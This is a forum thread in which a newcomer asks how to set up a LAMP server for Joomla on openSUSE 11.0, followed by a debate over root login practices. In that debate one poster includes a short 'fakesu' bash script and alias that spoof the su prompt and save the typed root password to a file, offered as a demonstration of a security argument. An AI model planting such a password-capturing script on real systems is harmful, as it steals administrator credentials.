LAMP Installation

I would like to try Joomla Content Manager. It needs a LAMP server.

In openSUSE 11.0, do I have to install and configure Apache, MySQL and PHP separately? Or is there a single package that does it all?

I am a newcomer to Linux and could use some basic instructions about how to go about it.

Is all of the software available on the boxed openSUSE DVD or do I need to get it elsewhere? I cannot find it listed as available in the YaST install software.

Cordially,
TwoHoot

Just make sure php5, mysql, apache are installed (witch simply can be done by Yast).

You can install phpMyAdmin, but that one did not work for me, so I downloaded it manually from the phpMyAdmin website.

By default, Apache points to /srv/www/htdocs/

Good luck, and if you’ve got problems, don’t hesitate to ask them here (or google a bit) :slight_smile:

There’s a LAMP server located at Yast → Software Management. Set the filter to patterns and select Web & LAMP server.
A few Joomla snippets here:
Joomla! • View topic - Joomla 1.0.15 on OpenSuse 10.3
Joomla! • View topic - Installing Joomla on Suse 10.2

> Login as root into X.

never do that!
instead, see/learn how to correctly (and safely) use root powers in
any/all Linux GUIs: http://en.opensuse.org/SDB:Login_as_root


Conficter

I do not see the “Web and LAMP server” listed.

Apache is not installed on my computer. Do I need to install it first?

You don’t see this?

http://i39.tinypic.com/2u74s5x.jpg

Conficter wrote:
>> Login as root into X.
>
> never do that!
> instead, see/learn how to correctly (and safely) use root powers in
> any/all Linux GUIs: http://en.opensuse.org/SDB:Login_as_root

Please, how often do I need to hear not to log in as root? It is not a
bad thing in principle. You’re just not supposed to do your daily work
with it.
And by the way, using su constantly is not what I call proper privilege
separation. If you do so, a compromised user account means root is taken
as well. So can we get back to the facts, please?

Kind regards,
Andreas Stieger

No, I did not see that screen. When I originally installed openSUSE 11, I took the simplest default options so I could learn about the OS without too many side issues. Maybe I need to install other YaST modules. Let me do some more reading so I can ask a proper question.

Cordially,
TwoHoot

> Please, how often do I need to hear not to log in as root?

since so many do not seem to know better, and apparently refuse to
read other posts, old text books, etc etc etc…AND bring with them
from that “Popular OS” a profound misunderstanding of the how and way
of *nix system administration: often.

> It is not a bad thing in principle.

in principle it is a very bad thing. ymmv

> You’re just not supposed to do your daily work with it.

no.

> And by the way, using su constantly is not what I call proper privilege
> separation.

i have no idea how you intend to do administrator tasks without using
administrator privileges…and, the “separation” is perfect if you
never ever sign into a GUI as root and always follow the correct
procedure to use administrator powers…

> If you do so, a compromised user account means root is taken
> as well.

??? are you saying using “switch user” [su] to become root somehow
compromises a normal users account? or what?

> So can we get back to the facts, please?

as a matter of fact, i don’t actually understand presty80’s FIRST post
ever to this forum (in the middle of thread with an entirely DIFFERENT
problem), but i do know that his “when my home was locked” problem CAN
be caused by logging into a GUI as root and rummage around in the
user’s home directory…which absolutely can (and most probably
might/will) cause an unintended change to the permissions of
/home/[user]/.ICEauthority and/or Xauthority

ymmv, but your opinion that it is okay to log in as root as long as
you don’t do your daily work that is wrong.


Conficter

Conficter wrote:

>> Please, how often do I need to hear not to log in as root?
>
> since so many do not seem to know better, and apparently refuse to
> read other posts, old text books, etc etc etc…AND bring with them
> from that “Popular OS” a profound misunderstanding of the how and way
> of *nix system administration: often.

Gee I knew someone would get it wrong and shoot from that angle.

What I am saying is that using “su” from a user account (which which you
IRC, read mail and surf) is just as bad as logging in as root and IRC, read
mail and surf. And I think we all agree that this is something you should
not do.

And I continue to claim:

>> It is not a bad thing in principle.
>
> in principle it is a very bad thing. ymmv
>
>> You’re just not supposed to do your daily work with it.

>> And by the way, using su constantly is not what I call proper privilege
>> separation.
>
> i have no idea how you intend to do administrator tasks without using
> administrator privileges…and, the “separation” is perfect if you
> never ever sign into a GUI as root and always follow the correct
> procedure to use administrator powers…

No, that is NOT perfect separation. CTRL-ALT-F2 is, and so is a new X
session for root if you need it. “su”/“sudo” do not provide that.

>> If you do so, a compromised user account means root is taken
>> as well.
>
> ??? are you saying using “switch user” [su] to become root somehow
> compromises a normal users account? or what?

No. I am saying a compromised user account + “su” means the root account is
compromised.

> ymmv, but your opinion that it is okay to log in as root as long as
> you don’t do your daily work that is wrong.

I beg to differ and I think I have been very clear on why I think so. If
security is a concern, users and root are never to be mixed.

Kind regards,
Andreas Stieger

Since a demo is always better, create a file ~/bin/fakesu:


#!/bin/bash
read -e -s -p "Password: " pw
echo $pw >> stolen_root_password.txt
echo
sleep 3
echo "su: incorrect password"
unalias su

And prepare the environment:


# chmod u+x ~/bin/fakesu
$ alias su=fakesu

Then call an administrator who thinks it’s a good idea to enter root passwords with su in a user context.

Kind regards,
Andreas Stieger

ok…now i understand what you spoke of…i often use a full screen
Ctrl+Alt+Fx terminal, and occasionally use


startx -- :1

to launch an new, second, instance of X from such a terminal…

but, i would never propose to do that from a root prompt…

neither would i propose surfing (with lynx/pine/whatever) from a
Ctrl+Alt+Fx terminal as root…

nor launch any GUI browser in a running X via (say)
Alt-F2 > kdesudo firefox [Enter]

so, except for your suggestion that it is okay to log into KDE as root
as long as you “don’t do your daily work” work that way…well,
except for that i guess we mostly agree…

you know, one problem is that the average person who stumbles into
this forum today with a “Hey i just installed 11.1…but when i log in
as root” question has NO idea about ANY of what we are talking
about–and they are the ones who MOST need to heed the direction to
NOT log in as root, and a pointer to how to use admin powers correctly…

BUT, if you wanna encourage them to do it the Windowstm) way then be
my guest–but, please just put me in your twit filter and refrain from
more “Please, how often do I need to hear not to log in as
root?”…as i was NOT writing TO you…ok??


Conficter